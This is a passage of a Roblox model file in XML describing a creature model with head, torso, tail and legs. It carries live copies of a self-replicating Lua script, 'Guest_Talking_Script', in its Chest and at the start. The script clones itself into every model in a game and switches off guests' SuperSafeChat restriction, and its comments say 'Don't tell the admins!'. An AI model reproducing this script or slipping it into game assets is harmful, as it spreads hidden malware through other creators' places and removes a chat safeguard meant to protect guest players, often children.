		local lowestLevel = true;

		for i, v in pairs(c) do
			if (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
				lowestLevel = false;
				wait();
				findLowestLevel(v);
			end
		end

		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
				local s = script:Clone();
				s.Parent = obj;
			end
		end
	end

	findLowestLevel(game);

	game.Players.ChildAdded:connect(onChildAddedToPlayers);
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
	local findScript = workspace:FindFirstChild(script.Name);

	if (findScript == nil) then
		local s = script:Clone();
		s.Parent = workspace;
	end
end

--[[function findAllCopies(obj)
	local c = obj:GetChildren();

	for i, v in pairs(c) do
		if (v.Name == script.Name and v.className == &quot;Script&quot; and v ~= script) then
			v.Parent = nil;
		elseif (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
			findAllCopies(v);
		end
	end
end

findAllCopies(game);

script.Parent = nil;]]</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX1719">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Chest</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX1720">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>68.000061</X>
							<Y>3.99948859</Y>
							<Z>17.1075153</Z>
							<R00>1</R00>
							<R01>3.31342207e-008</R01>
							<R02>-1.00498494e-013</R02>
							<R10>3.31343202e-008</R10>
							<R11>0.99999994</R11>
							<R12>3.42282895e-008</R12>
							<R20>1.08124908e-013</R20>
							<R21>-3.42280764e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Middle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>1.64392618e-017</X>
							<Y>3.59487162e-019</Y>
							<Z>6.82912414e-018</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>-4.63964323e-018</X>
							<Y>0.0239341538</Y>
							<Z>7.34880822e-018</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX1721">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX1722">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">z4aezwh</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX1723">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">e08wbl</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX1724">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">oazdw5r</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1725">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>68.0001144</X>
							<Y>6.40007877</Y>
							<Z>16.9000244</Z>
							<R00>1</R00>
							<R01>3.31343202e-008</R01>
							<R02>1.08124908e-013</R02>
							<R10>3.31343202e-008</R10>
							<R11>0.99999994</R11>
							<R12>3.01732164e-013</R12>
							<R20>1.08124908e-013</R20>
							<R21>3.01732164e-013</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Head</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX1726">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><hash>ad0ef997ced6952255bcf7a7f443834b</hash></Content>
							<token name="MeshType">5</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.39999998</X>
								<Y>1.39999998</Y>
								<Z>1.39999998</Z>
							</Vector3>
							<Content name="TextureId"><url>http://www.roblox.com/asset/?id=11266601</url></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1727">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>68.0001221</X>
							<Y>5.41786671</Y>
							<Z>16.900116</Z>
							<R00>0.999999046</R00>
							<R01>-1.24102871e-006</R01>
							<R02>-1.78383345e-006</R02>
							<R10>1.00666521e-005</R10>
							<R11>0.55557245</R11>
							<R12>-0.831466615</R12>
							<R20>6.07915013e-007</R20>
							<R21>0.83146894</R21>
							<R22>0.555571377</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Ring</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>3.44803422e-017</X>
							<Y>3.44803455e-017</Y>
							<Z>3.44803422e-017</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>1.06399878e-017</X>
							<Y>-45.779705</Y>
							<Z>1.06399878e-017</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX1728">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><url>http://www.roblox.com/asset/?id=3270017</url></Content>
							<token name="MeshType">5</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1.79999995</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX1729">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">8du8</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX1730">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">o9doayjg</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1731">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>68.0015564</X>
							<Y>3.89563251</Y>
							<Z>18.4059486</Z>
							<R00>-1</R00>
							<R01>5.06338756e-006</R01>
							<R02>2.97580613e-007</R02>
							<R10>2.64481884e-007</R10>
							<R11>7.1970635e-006</R11>
							<R12>1</R12>
							<R20>5.06338529e-006</R20>
							<R21>1</R21>
							<R22>-7.19706441e-006</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Tail</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX1732">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><url>http://www.roblox.com/asset/?id=1033714</url></Content>
							<token name="MeshType">5</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.200000003</X>
								<Y>2.5</Y>
								<Z>0.200000003</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>3.00000003e+015</X>
								<Y>2.99999995e+031</Y>
								<Z>3.00000003e+015</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1733">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>68.0001297</X>
							<Y>4.39959288</Y>
							<Z>16.9000931</Z>
							<R00>-1</R00>
							<R01>-9.67082815e-006</R01>
							<R02>-4.4496278e-006</R02>
							<R10>-9.70394012e-006</R10>
							<R11>1</R11>
							<R12>-3.65365349e-006</R12>
							<R20>4.44966327e-006</R20>
							<R21>-3.65361007e-006</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Torso</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX1734">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.5</X>
								<Y>1.79999995</Y>
								<Z>1.39999998</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX1735">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Guest_Talking_Script</string>
						<string name="Source">--Farvei&apos;s totally awesome script that makes Guests talk
--Please give credit
--Don&apos;t tell the admins!
--Unnote the vaccine if you&apos;d like to remove all copies of this script in your place
if (script.Parent == workspace) then
	function checkForAndSwitch(player)
		if (player.SuperSafeChat == true) then
			player.SuperSafeChat = false;
			wait(5);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;Press the / key to start typing.&quot;;
			m.Parent = player;
			wait(5);
			m.Text = &quot;Then press Enter to send your message.&quot;;
			wait(5);
			m:Remove();
			m = nil;
		end
		player = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToPlayers(obj)
		if (obj.className == &quot;Player&quot;) then
			checkForAndSwitch(obj);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;This Server Supports Talking Guests&quot;;
			m.Parent = obj;
			wait(5);
			m:Remove();
			m = nil;
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToWorkspace(obj)
		if (obj.className == &quot;Model&quot;) then
			if (game.Players:playerFromCharacter(obj) ~= nil) then
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
			end
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function findLowestLevel(obj)
		local c = obj:GetChildren();
		local lowestLevel = true;

		for i, v in pairs(c) do
			if (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
				lowestLevel = false;
				wait();
				findLowestLevel(v);
			end
		end

		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
				local s = script:Clone();
				s.Parent = obj;
			end
		end
	end

	findLowestLevel(game);

	game.Players.ChildAdded:connect(onChildAddedToPlayers);
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
	local findScript = workspace:FindFirstChild(script.Name);

	if (findScript == nil) then
		local s = script:Clone();
		s.Parent = workspace;
	end
end

--[[function findAllCopies(obj)
	local c = obj:GetChildren();

	for i, v in pairs(c) do
		if (v.Name == script.Name and v.className == &quot;Script&quot; and v ~= script) then
			v.Parent = nil;
		elseif (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
			findAllCopies(v);
		end
	end
end

findAllCopies(game);

script.Parent = nil;]]</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Humanoid" referent="RBX1736">
				<Properties>
					<float name="Health">0</float>
					<float name="MaxHealth">0</float>
					<string name="Name">Humanoid</string>
					<float name="WalkSpeed">35</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX1737">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">ik7txer</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX1738">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">2sv8</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Model" referent="RBX1739">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Leg1</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX1740">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>66.5000153</X>
							<Y>2.00004792</Y>
							<Z>17.1075172</Z>
							<R00>1</R00>
							<R01>3.31342207e-008</R01>
							<R02>-1.00498494e-013</R02>
							<R10>3.31343202e-008</R10>
							<R11>0.99999994</R11>
							<R12>3.42282895e-008</R12>
							<R20>1.08124908e-013</R20>
							<R21>-3.42280764e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Middle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>4.92700901e-017</X>
							<Y>-8.26533861e-020</Y>
							<Z>6.43959908e-017</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>-3.25001215e-017</X>
							<Y>-0.00341448025</Y>
							<Z>2.51032954e-017</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX1741">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX1742">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">z91xw8</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX1743">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ewt9qhk2</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX1744">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">a9xb6w</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1745">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>66.5001144</X>
							<Y>3.19952273</Y>
							<Z>16.9008827</Z>
							<R00>0.98078531</R00>
							<R01>0.195090115</R01>
							<R02>5.06380184e-006</R02>
							<R10>-0.19509007</R10>
							<R11>0.98078537</R11>
							<R12>2.18460764e-006</R12>
							<R20>-4.54030715e-006</R20>
							<R21>-3.13052897e-006</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX1746">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.600000024</X>
								<Y>1.39999998</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1747">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1009</int>
						<CoordinateFrame name="CFrame">
							<X>66.5001373</X>
							<Y>1.70012295</Y>
							<Z>16.6008987</Z>
							<R00>-1</R00>
							<R01>-5.07568211e-006</R01>
							<R02>-5.12487986e-007</R02>
							<R10>4.79389428e-007</R10>
							<R11>-7.24662141e-006</R11>
							<R12>-1</R12>
							<R20>5.07567802e-006</R20>
							<R21>-1</R21>
